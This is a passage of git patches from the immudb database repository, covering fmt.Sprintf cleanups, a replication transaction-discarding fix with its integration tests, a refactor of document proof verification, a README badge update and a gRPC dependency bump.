v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= From 4209e2bb3f3e1596e865de0463d4b82ab1e84573 Mon Sep 17 00:00:00 2001 From: guoguangwu Date: Wed, 5 Jul 2023 16:43:52 +0800 Subject: [PATCH 0684/1062] chore: use copy instead of a loop --- embedded/sql/row_reader.go | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 9b116263b0..589e798784 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -292,9 +292,7 @@ func (r *rawRowReader) ScanSpecs() *ScanSpecs { func (r *rawRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) { ret := make([]ColDescriptor, len(r.colsByPos)) - for i := range r.colsByPos { - ret[i] = r.colsByPos[i] - } + copy(ret, r.colsByPos) return ret, nil } From 7ee77078078af96d3023ae0cf6bd5ab320f4d927 Mon Sep 17 00:00:00 2001 From: guoguangwu Date: Wed, 5 Jul 2023 17:03:47 +0800 Subject: [PATCH 0685/1062] chore: unnecessary use of fmt.Sprintf --- cmd/immuadmin/command/stats.go | 2 +- cmd/immuadmin/command/user.go | 8 ++++---- cmd/immudb/command/service/constants/linux.dist.go | 4 ++-- cmd/immudb/command/service/service.go | 4 ++-- pkg/pgsql/server/pgsql_integration_test.go | 4 ++-- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/cmd/immuadmin/command/stats.go b/cmd/immuadmin/command/stats.go index fa88cac393..3d5c408117 100644 --- a/cmd/immuadmin/command/stats.go +++ b/cmd/immuadmin/command/stats.go @@ -48,7 +48,7 @@ func (cl *commandline) status(cmd *cobra.Command) { func (cl *commandline) stats(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "stats", - Short: fmt.Sprintf("Show statistics as text or visually with the '-v' option. Run 'immuadmin stats -h' for details."), + Short: "Show statistics as text or visually with the '-v' option. Run 'immuadmin stats -h' for details.", Aliases: []string{"s"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, diff --git a/cmd/immuadmin/command/user.go b/cmd/immuadmin/command/user.go index 258f1f4ff8..c957327545 100644 --- a/cmd/immuadmin/command/user.go +++ b/cmd/immuadmin/command/user.go @@ -219,13 +219,13 @@ func updateMaxLen(maxs []int, strs []string) { func permissionToString(permission uint32) string { switch permission { case auth.PermissionAdmin: - return fmt.Sprintf("Admin") + return "Admin" case auth.PermissionSysAdmin: - return fmt.Sprintf("System Admin") + return "System Admin" case auth.PermissionR: - return fmt.Sprintf("Read") + return "Read" case auth.PermissionRW: - return fmt.Sprintf("Read/Write") + return "Read/Write" default: return fmt.Sprintf("unknown: %d", permission) } diff --git a/cmd/immudb/command/service/constants/linux.dist.go b/cmd/immudb/command/service/constants/linux.dist.go index 8e6e35e2d6..cdf31b3e03 100644 --- a/cmd/immudb/command/service/constants/linux.dist.go +++ b/cmd/immudb/command/service/constants/linux.dist.go @@ -47,11 +47,11 @@ WantedBy=multi-user.target var UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immudb`, ConfigPath) // UsageExamples usage examples for linux -var UsageExamples = fmt.Sprintf(`Install the immutable database +var UsageExamples = `Install the immutable database sudo ./immudb service install - Installs the daemon sudo ./immudb service stop - Stops the daemon sudo ./immudb service start - Starts initialized daemon sudo ./immudb service restart - Restarts daemon sudo ./immudb service uninstall - Removes daemon and its setup Uninstall immudb after 20 second -sudo ./immudb service install --time 20 immudb`) +sudo ./immudb service install --time 20 immudb` diff --git a/cmd/immudb/command/service/service.go b/cmd/immudb/command/service/service.go index 228f311b6b..52f31c62dd 100644 --- a/cmd/immudb/command/service/service.go +++ b/cmd/immudb/command/service/service.go @@ -36,10 +36,10 @@ func (cl *commandline) Service(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: fmt.Sprintf("service %v", availableCommands), Short: "Immudb service management tool", - Long: fmt.Sprintf(`Manage immudb service. + Long: `Manage immudb service. Root permission are required in order to make administrator operations. Currently working on linux, windows and freebsd operating systems. -`), +`, ValidArgs: availableCommands, Example: constants.UsageExamples, Args: func(cmd *cobra.Command, args []string) error { diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index 92f6e80591..808c407205 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -497,7 +497,7 @@ func TestPgsqlServer_VersionStatement(t *testing.T) { require.NoError(t, err) var version string - err = db.QueryRow(fmt.Sprintf("SELECT version()")).Scan(&version) + err = db.QueryRow(("SELECT version()").Scan(&version) require.NoError(t, err) require.Equal(t, pgmeta.PgsqlProtocolVersionMessage, version) } @@ -517,7 +517,7 @@ func TestPgsqlServerSetStatement(t *testing.T) { db, err := sql.Open("postgres", fmt.Sprintf("host=localhost port=%d sslmode=disable user=immudb dbname=defaultdb password=immudb", bs.Server.Srv.PgsqlSrv.GetPort())) require.NoError(t, err) - _, err = db.Query(fmt.Sprintf("SET test=val")) + _, err = db.Query("SET test=val") require.NoError(t, err) } From ce58b332b2583ddae2b1e7a22cd5ab3be6b52622 Mon Sep 17 00:00:00 2001 From: guoguangwu Date: Thu, 6 Jul 2023 16:43:36 +0800 Subject: [PATCH 0686/1062] chore: unnecessary use of fmt.Sprintf --- pkg/pgsql/server/pgsql_integration_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index 808c407205..553e024fb4 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -497,7 +497,7 @@ func TestPgsqlServer_VersionStatement(t *testing.T) { require.NoError(t, err) var version string - err = db.QueryRow(("SELECT version()").Scan(&version) + err = db.QueryRow("SELECT version()").Scan(&version) require.NoError(t, err) require.Equal(t, pgmeta.PgsqlProtocolVersionMessage, version) } From 0c51227ccf6494555e52a6d2cc61e0521c070f23 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 6 Jul 2023 11:02:41 -0300 Subject: [PATCH 0687/1062] fix(embedded/store): precommitted transaction discarding recedes durable state Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 7 + embedded/watchers/watchers.go | 18 +++ embedded/watchers/watchers_test.go | 11 +- pkg/integration/follower_replication_test.go | 152 +++++++++++++++++++ pkg/replication/replicator.go | 8 +- 5 files changed, 192 insertions(+), 4 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 8b7f471f1c..ab53b21a7d 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1729,6 +1729,13 @@ func (s *ImmuStore) DiscardPrecommittedTxsSince(txID uint64) (int, error) { return 0, err } + defer func() { + durablePrecommittedTxID, _, _ := s.durablePrecommitWHub.Status() + if durablePrecommittedTxID > s.inmemPrecommittedTxID { + s.durablePrecommitWHub.RecedeTo(s.inmemPrecommittedTxID) + } + }() + if txID-1 == s.committedTxID { s.inmemPrecommittedTxID = s.committedTxID s.inmemPrecommittedAlh = s.committedAlh diff --git a/embedded/watchers/watchers.go b/embedded/watchers/watchers.go index 45635417f5..2837f0a627 100644 --- a/embedded/watchers/watchers.go +++ b/embedded/watchers/watchers.go @@ -24,6 +24,7 @@ import ( var ErrMaxWaitessLimitExceeded = errors.New("watchers: max waiting limit exceeded") var ErrAlreadyClosed = errors.New("watchers: already closed") +var ErrIllegalState = errors.New("watchers: illegal state") type WatchersHub struct { wpoints map[uint64]*waitingPoint @@ -63,6 +64,23 @@ func (w *WatchersHub) Status() (doneUpto uint64, waiting int, err error) { return w.doneUpto, w.waiting, nil } +func (w *WatchersHub) RecedeTo(t uint64) error { + w.mutex.Lock() + defer w.mutex.Unlock() + + if w.closed { + return ErrAlreadyClosed + } + + if w.doneUpto < t { + return ErrIllegalState + } + + w.doneUpto = t + + return nil +} + func (w *WatchersHub) DoneUpto(t uint64) error { w.mutex.Lock() defer w.mutex.Unlock() diff --git a/embedded/watchers/watchers_test.go b/embedded/watchers/watchers_test.go index 2cdfaa4dbb..e1f1f29f1e 100644 --- a/embedded/watchers/watchers_test.go +++ b/embedded/watchers/watchers_test.go @@ -34,10 +34,13 @@ func TestWatchersHub(t *testing.T) { wHub.DoneUpto(0) + err := wHub.RecedeTo(1) + require.ErrorIs(t, err, ErrIllegalState) + ctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond) defer cancel() - err := wHub.WaitFor(ctx, 1) + err = wHub.WaitFor(ctx, 1) require.ErrorIs(t, err, context.DeadlineExceeded) doneUpto, waiting, err := wHub.Status() @@ -95,6 +98,9 @@ func TestWatchersHub(t *testing.T) { err = wHub.WaitFor(context.Background(), 5) require.NoError(t, err) + err = wHub.RecedeTo(5) + require.NoError(t, err) + wg.Add(1) go func() { @@ -122,6 +128,9 @@ func TestWatchersHub(t *testing.T) { err = wHub.DoneUpto(0) require.ErrorIs(t, err, ErrAlreadyClosed) + err = wHub.RecedeTo(0) + require.ErrorIs(t, err, ErrAlreadyClosed) + _, _, err = wHub.Status() require.ErrorIs(t, err, ErrAlreadyClosed) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index c91f4388cd..0ea545bcb6 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -224,6 +224,158 @@ func TestReplication(t *testing.T) { replicaServer.Stop() } +func TestReplicationTxDiscarding(t *testing.T) { + //init primary server + primaryDir := t.TempDir() + + primaryServerOpts := server.DefaultOptions(). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(0). + WithDir(primaryDir) + + primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) + + err := primaryServer.Initialize() + require.NoError(t, err) + + //init replica server + replicaDir := t.TempDir() + + replicaServerOpts := server.DefaultOptions(). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(0). + WithDir(replicaDir) + + replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) + + err = replicaServer.Initialize() + require.NoError(t, err) + + go func() { + primaryServer.Start() + }() + + go func() { + replicaServer.Start() + }() + + time.Sleep(1 * time.Second) + + // init primary client + primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port + + primaryOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(primaryPort) + + primaryClient := ic.NewClient().WithOptions(primaryOpts) + require.NoError(t, err) + + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) + + // create database as primarydb in primary server + _, err = primaryClient.CreateDatabaseV2(context.Background(), "primarydb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + SyncReplication: &schema.NullableBool{Value: true}, + SyncAcks: &schema.NullableUint32{Value: 1}, + }, + }) + require.NoError(t, err) + + err = primaryClient.CloseSession(context.Background()) + require.NoError(t, err) + + err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "primarydb") + require.NoError(t, err) + + defer primaryClient.CloseSession(context.Background()) + + err = primaryClient.CreateUser(context.Background(), []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") + require.NoError(t, err) + + err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) + require.NoError(t, err) + + // init replica client + replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port + + replicaOpts := ic.DefaultOptions(). + WithDir(t.TempDir()). + WithPort(replicaPort) + + replicaClient := ic.NewClient().WithOptions(replicaOpts) + require.NoError(t, err) + + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + require.NoError(t, err) + + _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + Replica: &schema.NullableBool{Value: false}, + SyncReplication: &schema.NullableBool{Value: true}, + SyncAcks: &schema.NullableUint32{Value: 1}, + }, + }) + require.NoError(t, err) + + err = replicaClient.CloseSession(context.Background()) + require.NoError(t, err) + + err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicadb") + require.NoError(t, err) + + ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) + defer cancel() + + _, err = replicaClient.Set(ctx, []byte("key1"), []byte("value1")) + require.Error(t, err) + + _, err = replicaClient.UpdateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + Replica: &schema.NullableBool{Value: true}, + SyncReplication: &schema.NullableBool{Value: true}, + AllowTxDiscarding: &schema.NullableBool{Value: true}, + PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, + PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, + PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, + PrimaryUsername: &schema.NullableString{Value: "replicator"}, + PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, + }, + }) + require.NoError(t, err) + + time.Sleep(1 * time.Second) + + t.Run("key1 should not exist", func(t *testing.T) { + _, err = replicaClient.Get(context.Background(), []byte("key1")) + require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) + }) + + _, err = primaryClient.Set(context.Background(), []byte("key11"), []byte("value11")) + require.NoError(t, err) + + time.Sleep(1 * time.Second) + + t.Run("key1 should exist in replicadb@replica", func(t *testing.T) { + _, err = replicaClient.Get(context.Background(), []byte("key11")) + require.NoError(t, err) + }) + + err = replicaClient.CloseSession(context.Background()) + require.NoError(t, err) + + err = primaryClient.CloseSession(context.Background()) + require.NoError(t, err) + + replicaServer.Stop() + primaryServer.Stop() +} + func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init primary server primaryDir := t.TempDir() diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index f4e62b7228..b1cdb05b9e 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -369,15 +369,17 @@ func (txr *TxReplicator) fetchNextTx() error { txr.exportTxStream.Send(req) etx, emd, err := txr.exportTxStreamReceiver.ReadFully() + if err != nil { + defer txr.disconnect() + } if err != nil && !errors.Is(err, io.EOF) { - if strings.Contains(err.Error(), "commit state diverged from") { + if strings.Contains(err.Error(), "replica commit state diverged from primary") { txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary } - if strings.Contains(err.Error(), "precommit state diverged from") { - + if strings.Contains(err.Error(), "replica precommit state diverged from primary") { if !txr.allowTxDiscarding { txr.logger.Errorf("replica precommit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary From e6a8f29d760cbf7b3e18af6f8ffb00af47d1a030 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 6 Jul 2023 13:16:44 -0300 Subject: [PATCH 0688/1062] test(pkg/integration): replication with tx discarding disabled Signed-off-by: Jeronimo Irazabal --- pkg/integration/follower_replication_test.go | 11 ++++++++++- pkg/replication/replicator.go | 2 +- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 0ea545bcb6..03dacd85df 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -339,7 +339,7 @@ func TestReplicationTxDiscarding(t *testing.T) { ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: true}, - AllowTxDiscarding: &schema.NullableBool{Value: true}, + AllowTxDiscarding: &schema.NullableBool{Value: false}, PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, @@ -351,6 +351,15 @@ func TestReplicationTxDiscarding(t *testing.T) { time.Sleep(1 * time.Second) + _, err = replicaClient.UpdateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ + ReplicationSettings: &schema.ReplicationNullableSettings{ + AllowTxDiscarding: &schema.NullableBool{Value: true}, + }, + }) + require.NoError(t, err) + + time.Sleep(1 * time.Second) + t.Run("key1 should not exist", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index b1cdb05b9e..31bc8d5ce7 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -436,7 +436,7 @@ func (txr *TxReplicator) fetchNextTx() error { if mayCommitUpToTxID > commitState.TxId { err = txr.db.AllowCommitUpto(mayCommitUpToTxID, mayCommitUpToAlh) if err != nil { - if strings.Contains(err.Error(), "commit state diverged from") { + if strings.Contains(err.Error(), "replica commit state diverged from") { txr.logger.Errorf("replica commit state at '%s' diverged from primary's", txr.db.GetName()) return ErrReplicaDivergedFromPrimary } From 98ff9563533ce2265c748ed92f8bdfa3569e7e4f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 6 Jul 2023 13:24:03 -0300 Subject: [PATCH 0689/1062] test(pkg/database): document verification corner cases Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database_test.go | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 6c00637eba..8df285a571 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/verification" @@ -527,6 +528,27 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) }) + + t.Run("should fail when verifying a document with invalid id", func(t *testing.T) { + proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + TransactionId: knownState.TxId, + ProofSinceTransactionId: knownState.TxId, + }) + require.NoError(t, err) + require.NotNil(t, proofRes) + + _, err = verification.VerifyDocument(context.Background(), proofRes, doc, &schema.ImmutableState{ + TxId: proofRes.VerifiableTx.DualProof.TargetTxHeader.Id + 1, + }, nil) + require.ErrorIs(t, err, store.ErrInvalidProof) + + doc.Fields[proofRes.DocumentIdFieldName] = structpb.NewNullValue() + + _, err = verification.VerifyDocument(context.Background(), proofRes, doc, knownState, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + }) } func TestDocumentDB_AuditDocuments_CornerCases(t *testing.T) { From ad5d1cdc67142dbe877238436e32bf446adf48d2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 6 Jul 2023 13:38:26 -0300 Subject: [PATCH 0690/1062] test(pkg/integration): replication with tx discarding disabled Signed-off-by: Jeronimo Irazabal --- pkg/verification/verification.go | 36 ++++++++++++++++---------------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 2dc3ade5fe..2c277e5812 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -151,15 +151,15 @@ func VerifyDocument(ctx context.Context, sourceAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.SourceTxHeader).Alh() targetAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.TargetTxHeader).Alh() - if txHdr.ID == sourceID { - if txHdr.Alh() != sourceAlh { - return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) - } - } else if txHdr.ID == targetID { - if txHdr.Alh() != targetAlh { - return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) - } - } else { + if txHdr.ID != sourceID && txHdr.ID != targetID { + return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) + } + + if txHdr.ID == sourceID && txHdr.Alh() != sourceAlh { + return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) + } + + if txHdr.ID == targetID && txHdr.Alh() != targetAlh { return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) } @@ -168,15 +168,15 @@ func VerifyDocument(ctx context.Context, return nil, fmt.Errorf("%w: proof should start from the first transaction when no previous state was specified", store.ErrInvalidProof) } } else { - if knownState.TxId == sourceID { - if !bytes.Equal(knownState.TxHash, sourceAlh[:]) { - return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) - } - } else if knownState.TxId == targetID { - if !bytes.Equal(knownState.TxHash, targetAlh[:]) { - return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) - } - } else { + if knownState.TxId != sourceID && knownState.TxId != targetID { + return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) + } + + if knownState.TxId == sourceID && !bytes.Equal(knownState.TxHash, sourceAlh[:]) { + return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) + } + + if knownState.TxId == targetID && !bytes.Equal(knownState.TxHash, targetAlh[:]) { return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } } From 6356dd7b032add3021148479dad2017866b7e0e9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 6 Jul 2023 14:03:40 -0300 Subject: [PATCH 0691/1062] chore(pkg/server): minor code adjustment Signed-off-by: Jeronimo Irazabal --- pkg/server/server.go | 18 ++---------------- 1 file changed, 2 insertions(+), 16 deletions(-) diff --git a/pkg/server/server.go b/pkg/server/server.go index 24ae38b3d4..869d4fb105 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -269,9 +269,8 @@ func (s *ImmuServer) Start() (err error) { startedAt = time.Now() if s.Options.MetricsServer { - if err := s.setUpMetricsServer(); err != nil { - return err - } + s.metricsServer = StartMetrics(1*time.Minute, s.Options.MetricsBind(), s.Logger, s.metricFuncServerUptimeCounter, + s.metricFuncComputeDBSizes, s.metricFuncComputeDBEntries, s.Options.PProf) defer func() { if err := s.metricsServer.Close(); err != nil { s.Logger.Errorf("Failed to shutdown metric server: %s", err) @@ -340,19 +339,6 @@ func (s *ImmuServer) setupPidFile() error { return err } -func (s *ImmuServer) setUpMetricsServer() error { - s.metricsServer = StartMetrics( - 1*time.Minute, - s.Options.MetricsBind(), - s.Logger, - s.metricFuncServerUptimeCounter, - s.metricFuncComputeDBSizes, - s.metricFuncComputeDBEntries, - s.Options.PProf, - ) - return nil -} - func (s *ImmuServer) setUpWebServer(ctx context.Context) error { server, err := startWebServer( ctx, From 7342a5e91366598ae47b6ba0a02d29ad842478c8 Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Thu, 6 Jul 2023 14:57:29 -0300 Subject: [PATCH 0692/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7a9f174c14..74df497e72 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ custom_edit_url: https://github.com/codenotary/immudb/edit/master/README.md [![Documentation](https://img.shields.io/website?label=Docs&url=https%3A%2F%2Fdocs.immudb.io%2F)](https://docs.immudb.io/) [![Build Status](https://github.com/codenotary/immudb/actions/workflows/push.yml/badge.svg)](https://github.com/codenotary/immudb/actions/workflows/push.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/codenotary/immudb)](https://goreportcard.com/report/github.com/codenotary/immudb) -[![Coverage](https://coveralls.io/repos/github/codenotary/immudb/badge.svg?branch=master)](https://coveralls.io/github/codenotary/immudb?branch=master) +[![Coverage](https://coveralls.io/repos/github/codenotary/immudb/badge.svg?branch=master&kill_cache=1)](https://coveralls.io/github/codenotary/immudb?branch=master&kill_cache=1) [![Homebrew](https://img.shields.io/homebrew/v/immudb)](https://formulae.brew.sh/formula/immudb) [![Mentioned in Awesome Go](https://awesome.re/mentioned-badge.svg)](https://github.com/avelino/awesome-go) From 4223e1eccab20f676f56dfa6754a6ec1045a1e18 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 6 Jul 2023 19:00:48 +0000 Subject: [PATCH 0693/1062] chore(deps): bump google.golang.org/grpc from 1.55.0 to 1.56.2 Bumps [google.golang.org/grpc](https://github.com/grpc/grpc-go) from 1.55.0 to 1.56.2. - [Release notes](https://github.com/grpc/grpc-go/releases) - [Commits](https://github.com/grpc/grpc-go/compare/v1.55.0...v1.56.2) --- updated-dependencies: - dependency-name: google.golang.org/grpc dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 4 ++-- go.sum | 17 +++++++++++++++-- 2 files changed, 17 insertions(+), 4 deletions(-) diff --git a/go.mod b/go.mod index ffbad758f7..ab138b6ff3 100644 --- a/go.mod +++ b/go.mod @@ -38,7 +38,7 @@ require ( golang.org/x/sys v0.10.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc - google.golang.org/grpc v1.55.0 + google.golang.org/grpc v1.56.2 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 google.golang.org/protobuf v1.30.0 ) @@ -57,7 +57,7 @@ require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect - github.com/envoyproxy/protoc-gen-validate v0.10.0 // indirect + github.com/envoyproxy/protoc-gen-validate v0.10.1 // indirect github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect github.com/golang/glog v1.1.0 // indirect diff --git a/go.sum b/go.sum index df1488879c..5ffe3672c3 100644 --- a/go.sum +++ b/go.sum @@ -169,6 +169,7 @@ cloud.google.com/go/compute v1.14.0/go.mod h1:YfLtxrj9sU4Yxv+sXzZkyPjEyPBZfXHUvj cloud.google.com/go/compute v1.15.1/go.mod h1:bjjoF/NtFUrkD/urWfdHaKuOPDR5nWIs63rR+SXhcpA= cloud.google.com/go/compute v1.18.0/go.mod h1:1X7yHxec2Ga+Ss6jPyjxRxpu2uu7PLgsOVXvgU0yacs= cloud.google.com/go/compute v1.19.0/go.mod h1:rikpw2y+UMidAe9tISo04EHNOIf42RLYF/q8Bs93scU= +cloud.google.com/go/compute v1.19.1/go.mod h1:6ylj3a05WF8leseCdIf77NK0g1ey+nj5IKd5/kvShxE= cloud.google.com/go/compute/metadata v0.1.0/go.mod h1:Z1VN+bulIf6bt4P/C37K4DyZYZEXYonfTBHHFPO/4UU= cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= cloud.google.com/go/compute/metadata v0.2.1/go.mod h1:jgHgmJd2RKBGzXqF5LR2EZMGxBkeanZ9wwa75XHJgOM= @@ -670,6 +671,7 @@ github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWH github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230607035331-e9ce68804cb4/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= @@ -714,12 +716,14 @@ github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go. github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= +github.com/envoyproxy/go-control-plane v0.11.1-0.20230524094728-9239064ad72f/go.mod h1:sfYdkwUW4BA3PbKjySwjJy+O4Pu0h62rlqCMHNk+K+Q= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod 